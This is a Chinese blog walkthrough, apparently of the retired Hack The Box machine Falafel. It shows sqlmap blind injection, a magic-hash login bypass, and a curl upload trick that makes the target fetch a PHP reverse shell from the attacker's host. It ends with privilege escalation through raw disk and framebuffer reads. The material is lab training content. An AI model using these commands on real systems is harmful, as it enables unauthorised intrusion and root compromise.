zoukankan      html  css  js  c++  java
  • HTB-靶机-Falafel

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.73

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.73 -o ./Falafel-autorecon

    就开了22和80端口,访问web应用

    点击了下页面的功能发现个登录界面,试了几个弱口令都不正确,但是发现尝试用户admin的时候显示如下:

    尝试非admin用户显示如下:

    猜测这里可能存在布尔型盲注,通过测试确认存在,下面给出最终sqlmap跑的命令

    sqlmap进行布尔型盲注
    sqlmap -r login.req --level 5 --risk 3 --string "Wrong identification" -D falafel -T users -C username,password --dump --batch
    
    login.req内容
    POST /login.php HTTP/1.1
    Host: 10.10.10.73
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://10.10.10.73/login.php
    Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    
    username=admin&password=bmfx

    sqlmap倒是自动跑出来了用户chris的密码,但是admin的密码并没有成功的跑出来,试了下chris的密码成功登录,但是没啥用处,我们还是得找出admin用户的密码

    用户admin的hash值0e462096931906507119562988736854 经过谷歌搜索和测试,发现带0e开头的hash是一种关于magic-hashes,详细链接参考:https://www.whitehatsec.com/blog/magic-hashes/

    所以根据上述就知道了admin账户的密码为240610708  使用此密码登录进去之后发现一个上传页面,上传非图片格式会出现下面的形式

    经过测试只能使用长文件名称上传,且需要实现在本地kali上生成好此类文件,写入php的反弹shell代码,文件格式需要类似于....php.png之类的后缀才可以,具体操作如下:

    事先准备好的反弹代码名称

    使用python搭建好本地简易web应用

    URL=$(python -c 'print "http://10.10.14.5:8000/" + "A"*232 + ".php.png"'); curl -i -s -k  -X $'POST'     -H $'Referer: http://10.10.10.73/upload.php' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840'     --data-binary "url=$URL" $'http://10.10.10.73/upload.php' | grep -e "The name is too long" -e shorten -e "New name" -e CMD

    执行上面的curl命令即可成功写入反弹shell,然后本地监听端口,访问反弹shell代码即可

    成功拿到shell之后在网站根目录翻看了下发现了数据库连接配置文件,找了如下信息:

    使用上面的账户和密码切换至用户moshe试试

    到了这里执行命令w发现存在用户yossi是在登录的状态查看当前组信息,并列出所有组信息

    for x in $(groups); do echo ========${x}========; find / -group ${x} ! -type d -exec ls -la {} ; 2>/dev/null > ${x}; done

    找到了一张带密码的截图,具体如下

    将文件screenshot.raw复制到本地kali,然后使用gimp打开调试一下即可发现账户和密码的截图(类型选择RGB565 Big Endian)

    得到了另一个用户和密码信息:yossi:MoshePlzStopHackingMe! 通过ssh远程登录

    总结一下,这里主要就是发现用户yossi是一直在登录的状态,然后通过设备信息,获取截图内容,找到了用户的密码

    此处仍然使用同样的方法通过读取磁盘设备信息获取root.txt,所以可通过下面两种方式获取

    cat /dev/sda5 | strings -a | grep "root.txt" | grep -e "[0-9a-f]{32}"
    
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    
    
    yossi@falafel:/dev/shm/.d$ debugfs /dev/sda1
    debugfs 1.42.13 (17-May-2015)
    debugfs:  ls /root
    debugfs:  cat /root/root.txt
    23b79200448c62ffd6f8f20xxxxxxx
    debugfs:  quit

  • 相关阅读:
    一个简单的knockout.js 和easyui的绑定
    knockoutjs + easyui.treegrid 可编辑的自定义绑定插件
    Knockout自定义绑定my97datepicker
    去除小数后多余的0
    Windows Azure Web Site (15) 取消Azure Web Site默认的IIS ARR
    Azure ARM (1) UI初探
    Azure Redis Cache (3) 创建和使用P级别的Redis Cache
    Windows Azure HandBook (7) 基于Azure Web App的企业官网改造
    Windows Azure Storage (23) 计算Azure VHD实际使用容量
    Windows Azure Virtual Network (11) 创建VNet-to-VNet的连接
  • 原文地址:https://www.cnblogs.com/autopwn/p/14084616.html
Copyright © 2011-2022 走看看